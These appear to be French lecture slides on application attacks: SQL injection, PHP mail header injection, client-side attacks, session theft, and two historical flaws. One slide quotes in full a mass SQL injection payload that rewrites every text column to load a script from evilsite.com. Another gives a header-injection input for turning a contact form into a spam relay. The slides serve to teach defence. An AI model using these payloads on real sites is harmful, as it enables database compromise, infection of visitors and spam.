Attaques applicatives
Attaques applicatives Exploitation d une mauvaise programmation des applications Ne touche pas le serveur lui-même mais son utilisation/ configuration Surtout populaire pour les sites webs/serveurs d applications Attaques principales Injection de code Par faute logicielle, à ce niveau code interprété Exploitation d une mauvaise configuration Données indexées par google!
Injection de code Amener l application à exécuter du code soumis par l attaquant Possible car contrôle insuffisant des paramètres Mauvaise utilisation des paramètres Attaque reine SQL Injection
Injection SQL Les paramètres fournis contiennent des expressions SQL Exemple Formulaire de login avec deux champs name et password Requête pour vérifier si l utilisateur existe SELECT uid WHERE name = 'Dupont' AND password = '45723a2af3788c4ff17f8d1114760e62'" Si un attaquant s appelle Dupont --" La requête devient" SELECT uid WHERE name = 'Dupont -- ' AND password = '45723a2af3788c4ff17f8d1114760e62'" Ce qui est toujours vrai..."
Injection SQL physique :-)
Autres injections Tout ce qui est interprété PHP, Ruby, Perl pour les CGI,... Solutions Tester les paramètres Ne pas les évaluer Il n y a aucune raison pour cela! Mauvaise pratique de programmation Application aux injections SQL
Injection PHP <form method="post" action="mailing.php"> A: webmaster@monsite.com De: <input type="text" name="expediteur"> Sujet : <input type="text" name="sujet"> Message : <textarea name="message" rows="10" cols="60" lines="20"></textarea> <input type="submit" name="send" value="envoyer"> </form> <?php // mailing.php : $to="webmaster@monsite.com"; $from=$_post["expediteur"]; if (mail($to,$_post["sujet"],$_post["message"],"from: $from\n")){ echo "Votre mail a bien été envoyé à $to"; }else{ echo "Votre mail n'a pas pu être envoyé."; }?>
Injection PHP (2) Attaque : From: (expediteur) -> "myemail@anonyme.com%0acc: email1@site1.com%0abcc:email2@site2.com,email3@site3.com" Subject: (sujet) -> "Ceci est mon sujet" (message) -> "Un message" Le mail envoyé est To: webmaster@monsite.com Subject: Ceci est mon sujet From: myemail@anonymous.com Cc:email1@site1.com Bcc:email2@site2.com,email3@site3.com Un message Et donc envoi de spams possible en utilisant le formulaire
Attaque sur les clients Buts des attaquants Compromettre la machine (zombifier) Voler les données (typiquement banquaires) Normalement, pas de services ouverts Ou alors problème de configuration! Quelles portes d entrée? Les applications! Pleines de bugs prêts à être exploités! Portes d entrée vers le système et ses bibliothèques Comment exploiter ces bugs? L attaquant doit contrôler ce qui est fourni aux applications
Attaque sur les clients (2) Applications visées Mailer Browser web Ce sont des machines virtuelles donc faciles à programmer Suites applicatives Souvent avec des langages inclus Vecteurs d attaques Pages webs Mails documents
Attaque sur les clients (3) Amener les clients à accéder aux données des attaquants Adresse web à suivre Documents à ouvrir... Techniques de social engineering il faut que les messages soient suffisamment alléchants
Attaque sur les clients (4) Attaques par les réseaux aussi Prendre des données et/ou des droits Vol de session Objectif de l attaquant : usurper l utilisateur après son authentification Sessions stockées de différentes manières @IP : inadaptée au NAT, vol par déconnexion Cookie : vol si communication espionnée Identificateur de session stocké dans l URL http://www.amazon.fr/gp/feature.html/ref=amb_link_81475465_2? ie=utf8&docid=1000227633&pf_rd_m=a1x6fk5rdhnb96&pf_rd_s=center-0&pf_rd_r=15mzy44emkj VFARAJYS4&pf_rd_t=101&pf_rd_p=463993173&pf_rd_i=405320
La faille de la semaine À peu près 500000 sites victimes SQL injection «générique» pour IIS, ADO, SQL Server avec ASP Causes Programmeurs peu expérimentés (pas de tests des paramètres) «Puissance» de la chaîne logicielle qui permet d injecter un code compliqué Conséquences Infection automatique de la base de données Ajout d un javascript qui sera chargé par tous les clients Compromission des clients Fusée à deux étages : exploitation
DECLARE @T varchar(255), @C varchar(255); DECLARE Table_Cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a, syscolumns b WHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167); OPEN Table_Cursor; FETCH NEXT FROM Table_Cursor INTO @T, @C; WHILE (@@FETCH_STATUS = 0) BEGIN EXEC( 'update [' + @T + '] set [' + @C + '] = rtrim(convert(varchar,[' + @C + ']))+ ''<script src=http://evilsite.com/1.js></script>''' ); FETCH NEXT FROM Table_Cursor INTO @T, @C; END; CLOSE Table_Cursor; DEALLOCATE Table_Cursor; La faille de la semaine (2), le code de l exploit
La faille de la semaine Buffer overflow dans l affichage des images Sous windows Format WMF Conséquences Compromission totale de la machine Avec les droits de l utilisateur Vecteur d attaque Tout moyen d afficher une image Historique Publié à Noël 2005 A provoqué l apparition d un patch hors timing